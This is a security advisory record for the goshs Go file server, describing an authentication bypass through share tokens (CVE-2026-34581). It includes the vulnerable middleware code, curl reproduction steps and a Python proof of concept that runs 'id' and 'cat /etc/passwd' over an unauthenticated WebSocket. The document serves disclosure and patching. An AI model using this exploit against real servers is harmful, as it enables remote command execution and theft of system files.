{"id":"GHSA-jgfx-74g2-9r6g","summary":"goshs has Auth Bypass via Share Token","details":"### Summary\nWhen using the `Share Token` it is possible to bypass the limited selected file download with all the gosh functionalities, including code exec.\n\n### Details\n\nThe `BasicAuthMiddleware` checks for a `?token=` parameter **before** checking credentials. If the token exists in `SharedLinks`, the request passes through with **no auth check at all**. The handler then processes all query parameters — including `?ws` (WebSocket) which has higher priority than `?token`.\n\n```go\n// middleware.go:22-30 — token check runs FIRST\ntoken := r.URL.Query().Get(\"token\")\nif token != \"\" {\n    _, ok := fs.SharedLinks[token]\n    if ok {\n        next.ServeHTTP(w, r)  // Full auth bypass\n        return\n    }\n}\n// ... normal auth checks never reached\n```\n\nA share token is designed for **single-file, time-limited downloads**. But the middleware bypass grants access to everything — directory listing, file deletion, clipboard, WebSocket, and CLI command execution.\n\n\n**1. Create a webroot:**\n\n```bash\nmkdir -p /tmp/goshs-webroot\necho \"shareable file\" \u003e /tmp/goshs-webroot/shareable.txt\n```\n\n**2. Start goshs with auth + TLS + CLI mode:**\n\n```bash\n/tmp/goshs-test -d /tmp/goshs-webroot -b 'admin:password' -s -ss -c -p 8000\n```\n\n\u003e CLI mode requires auth (`-b`) and TLS (`-s -ss`). This is the documented usage — not a weakened config.\n\n**3. Verify authentication is required:**\n\n```bash\ncurl -sk https://localhost:8000/\nNot authorized\n```\n\n**4. As a legitimate user, create a share link:**\n\n```bash\ncurl -sk -u admin:password 'https://localhost:8000/shareable.txt?share'\n```\n\nResponse:\n```json\n{\"urls\":[\"https://127.0.0.1:8000/shareable.txt?token=gMP-w0hXRs-Q-FEZku63kA\"]}\n```\n\nSave the token value (e.g., `gMP-w0hXRs-Q-FEZku63kA`).\n\n**5. Prove the token bypasses auth for WebSocket:**\n\n```bash\n# Without token → 401 (blocked)\ncurl -sk -o /dev/null -w \"%{http_code}\" \\\n  -H \"Connection: Upgrade\" -H \"Upgrade: websocket\" \\\n  -H \"Sec-WebSocket-Version: 13\" -H \"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\" \\\n  'https://localhost:8000/?ws'\n# 401\n\n# With token → 101 Switching Protocols (auth bypassed!)\ncurl -sk -o /dev/null -w \"%{http_code}\" \\\n  -H \"Connection: Upgrade\" -H \"Upgrade: websocket\" \\\n  -H \"Sec-WebSocket-Version: 13\" -H \"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\" \\\n  'https://localhost:8000/?ws&token=gMP-w0hXRs-Q-FEZku63kA'\n# 101\n```\n\nFor a Full PoC, you can run the python file attached below, it will run `id` and `cat /etc/passwd`.\n\n\n\n\n### PoC\n\n``` python\nimport json, ssl, websocket\n\nTOKEN = \"gMP-w0hXRs-Q-FEZku63kA\"  # ← replace with your token\n\nws = websocket.create_connection(\n    f\"wss://localhost:8000/?ws&token={TOKEN}\",\n    sslopt={\"cert_reqs\": ssl.CERT_NONE},\n)\nprint(\"[+] Connected WITHOUT credentials!\")\n\n# Execute 'id'\nws.send('{\"type\":\"command\",\"Content\":\"id\"}')\nimport time; time.sleep(1)\nresp = json.loads(ws.recv())\nprint(f\"Output: {resp['content']}\")\n# uid=501(youruser) gid=20(staff) ...\n\n# Execute 'cat /etc/passwd'\nws.send('{\"type\":\"command\",\"Content\":\"cat /etc/passwd\"}')\ntime.sleep(1)\nresp = json.loads(ws.recv())\nprint(f\"Output: {resp['content']}\")\n\nws.close()\n```\nA patch is available at https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.2.","aliases":["CVE-2026-34581","GO-2026-5469"],"modified":"2026-06-25T23:11:34.202723694Z","published":"2026-04-01T20:58:48Z","database_specific":{"github_reviewed_at":"2026-04-01T20:58:48Z","nvd_published_at":"2026-04-02T19:21:32Z","cwe_ids":["CWE-288"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/patrickhener/goshs/security/advisories/GHSA-jgfx-74g2-9r6g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34581"},{"type":"WEB","url":"https://github.com/patrickhener/goshs/commit/6fb224ed15c2ccc0c61a5ebe22f2401eb06e9216"},{"type":"PACKAGE","url":"https://github.com/patrickhener/goshs"},{"type":"WEB","url":"https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.2"}],"affected":[{"package":{"name":"github.com/patrickhener/goshs","ecosystem":"Go","purl":"pkg:golang/github.com/patrickhener/goshs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.1.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-jgfx-74g2-9r6g/GHSA-jgfx-74g2-9r6g.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"}]}